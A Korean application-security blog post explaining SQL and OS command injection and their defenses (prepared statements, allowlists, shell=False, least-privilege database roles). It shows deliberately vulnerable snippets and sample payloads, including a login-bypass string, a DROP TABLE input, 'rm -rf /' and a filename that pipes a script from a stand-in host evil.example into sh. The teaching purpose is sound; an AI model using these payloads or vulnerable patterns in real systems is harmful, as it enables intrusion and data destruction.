애플리케이션 보안

Injection

meellon 2026. 6. 26. 06:00

학습 목표

Injection신뢰할 수 없는 입력인터프리터(SQL·OS·LDAP)에 명령으로 섞일 때 발생함을 설명할 수 있다.

SQL injection에서 문자열 연결·동적 쿼리가 쿼리 구조를 바꾸는 방식을 설명할 수 있다.

Prepared statement(파라미터 바인딩)로 데이터와 코드를 분리하는 이유를 설명할 수 있다.

Command injectionallowlist·API 대체 실행 방어를 설명할 수 있다.

최소 DB 권한·입력 검증·ORM이 defense in depth에서 맡는 역할을 설명할 수 있다.

문제 상황

  • 로그인 username' OR '1'='1전 사용자 로그인
    • 쿼리가 문자열 붙이기로 만들어짐
  • 검색 q=; DROP TABLE orders;--` — 백업 없으면 종료
    • 앱 DB 계정에 DDL 권한까지 있음
  • PDF 변환 API에 filename=report.pdf; curl attacker.com서버에서 curl 실행
    • os.system("convert " + filename) 한 줄
  • ORM 쓴다며 raw query에 f-string — SQLi 그대로
  • WAF가 ' OR 막음 — 인코딩·주석 우회로 재현

Part 3 OWASP 시작 — 인증·인가 다음은 입력이 코드가 되는 취약점. Broken Access Control과 다름 — 인증됐어도 쿼리·명령이 깨진다.

본 글의 페이로드·예제는 방어·테스트 학습 목적이다. 허가 없는 시스템 공격은 불법이다.

1. Injection이란

Injection — 사용자 입력이 SQL·OS shell·LDAP·템플릿인터프리터구문으로 해석될 때 발생 (OWASP Top 10 A03:2021 Injection).

정상:  input = 데이터  →  쿼리/명령의 **값**
공격:  input = 데이터 + **구문**  →  의도와 다른 **명령** 실행
인터프리터 편에서
SQL ' OR 1=1-- 본편 중심
OS command ; rm -rf / command injection
LDAP *)(uid=* 개념만
NoSQL $gt operator inject MongoDB $where 주의
  • 근본신뢰 경계 밖 입력을 코드 조립에 넣음
  • 앞서 fail secure — 파싱 실패·이상 입력은 거부

2. SQL injection

메커니즘

앱이 SQL을 문자열 연결로 만든다.

# 취약 — code/sqli-vulnerable.py (발췌)
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

입력 username:

' OR '1'='1' --

실행되는 쿼리:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '...'
  • -- 뒤는 주석 — password 조건 무시
  • Union·서브쿼리로 다른 테이블 탈취
  • Blind SQLi — 에러/지연으로 한 글자씩 추출

방어 — Prepared statement

Prepared statement — SQL 을 분리. DB가 값을 데이터로만 처리.

# 안전 — code/sqli-safe.py (발췌)
query = "SELECT id FROM users WHERE username = %s AND password_hash = %s"
cursor.execute(query, (username, password_hash))
  문자열 연결 Prepared statement
입력 위치 쿼리 문자열 안 바인딩 슬롯
' 처리 구문 깨짐 이스케이프된 값
동적 식별자 테이블/컬럼명 — 별도 allowlist  
// JDBC — ? placeholder
PreparedStatement ps = conn.prepareStatement(
    "SELECT id FROM users WHERE username = ? AND password_hash = ?");
ps.setString(1, username);
ps.setString(2, passwordHash);
  • ORM(JPA, SQLAlchemy) — 기본 API는 parameterized; raw SQL·text(f"...") 주의
  • 2nd order SQLi — 입력을 저장했다가 나중 쿼리에 연결 — 저장 시에도 검증

동적 테이블·ORDER BY

# 컬럼명은 bind 불가 — allowlist
SORT_COLUMNS = {"name", "created_at", "amount"}
col = sort if sort in SORT_COLUMNS else "created_at"
query = f"SELECT * FROM orders ORDER BY {col} DESC"  # col만 동적, 값은 bind
  • 절대 사용자 입력을 식별자로 직접 삽입하지 않음

3. Command injection

OS command injection — 사용자 입력이 shell·exec그대로 들어갈 때.

# 취약 — code/command-injection-vulnerable.example
import os
os.system(f"convert {user_filename} output.pdf")

입력 user_filename:

file.png; curl https://evil.example/shell.sh | sh
방어 설명
API 사용 subprocess + list 인자, shell=False
Allowlist 파일명 [a-zA-Z0-9._-]+
chroot/jail 변환 전용 워커, 네트워크 차단
no shell os.system·` 금지
# 안전 — code/command-injection-safe.example
import re
import subprocess

if not re.fullmatch(r"[\w.\-]{1,64}", user_filename):
    raise ValueError("invalid filename")

subprocess.run(
    ["convert", user_filename, "output.pdf"],
    check=True,
    shell=False,
)
  • Argument injectioncurl --output /etc/passwd플래그도 allowlist·전용 라이브러리
  • 앞서 least privilege — 웹 프로세스가 shell·불필요 바이너리 실행 불가면 피해 축소

4. 방어 계층

계층 역할 한계
입력 검증 타입·길이·allowlist 유일 방어 ❌
Parameterized query SQLi 1차 방어 식별자 동적은 별도
ORM / query builder 실수 감소 raw escape 위험
Least privilege DB SELECT only, no DDL 탈취 범위 축소
WAF / RASP 알려진 패턴 탐지 우회 가능, 보조
Defense in depth (2편):
  WAF만  ✗
  parameterized + DB role + validation  ✓
  • 에러 메시지 — SQL/stack trace 클라이언트 노출 금지 (recon aid)
  • 로깅 — injection 시도 감사 (Observability) — 페이로드 PII 주의

5. 테스트·체크리스트

항목 확인
SQL 모든 DB 호출 parameterized — grep f"SELECT·+ user
ORM raw·execute(string.format) 없음
shell os.system·shell=True 없음
DB 계정 app role DDL/DROP 불가
동적 ORDER BY allowlist
CI SAST(semgrep) · sqlmap on staging (허가 환경)
안티패턴  
escaping만 '\" 누락·encoding 우회
stored proc만 내부 dynamic SQL
"내부 API" 신뢰 경계항상

6. 정리

  • Injection — 입력이 인터프리터 구문이 됨 — SQL·shell 대표
  • SQLi — 문자열 연결prepared statement + 식별자 allowlist
  • Command injection — shell=False·API·파일명 allowlist
  • WAF는 보조 — 코드에서 분리가 본질
  • Least privilege DB — SQLi 성공해도 blast radius 축소

다음에 다룰 것

  • XSS와 CSRF
  • stored/reflected/DOM, SameSite, token

해당 내용은 OWASP Top 10, OWASP SQL Injection Prevention Cheat Sheet, CWE-89 (SQL Injection) 의 내용을 기반으로 합니다.

'애플리케이션 보안' 카테고리의 다른 글

Broken Access Control  (0) 2026.06.28
XSS와 CSRF  (0) 2026.06.27
인가 모델  (0) 2026.06.25
OpenID Connect  (0) 2026.06.24
OAuth 2.0  (0) 2026.06.23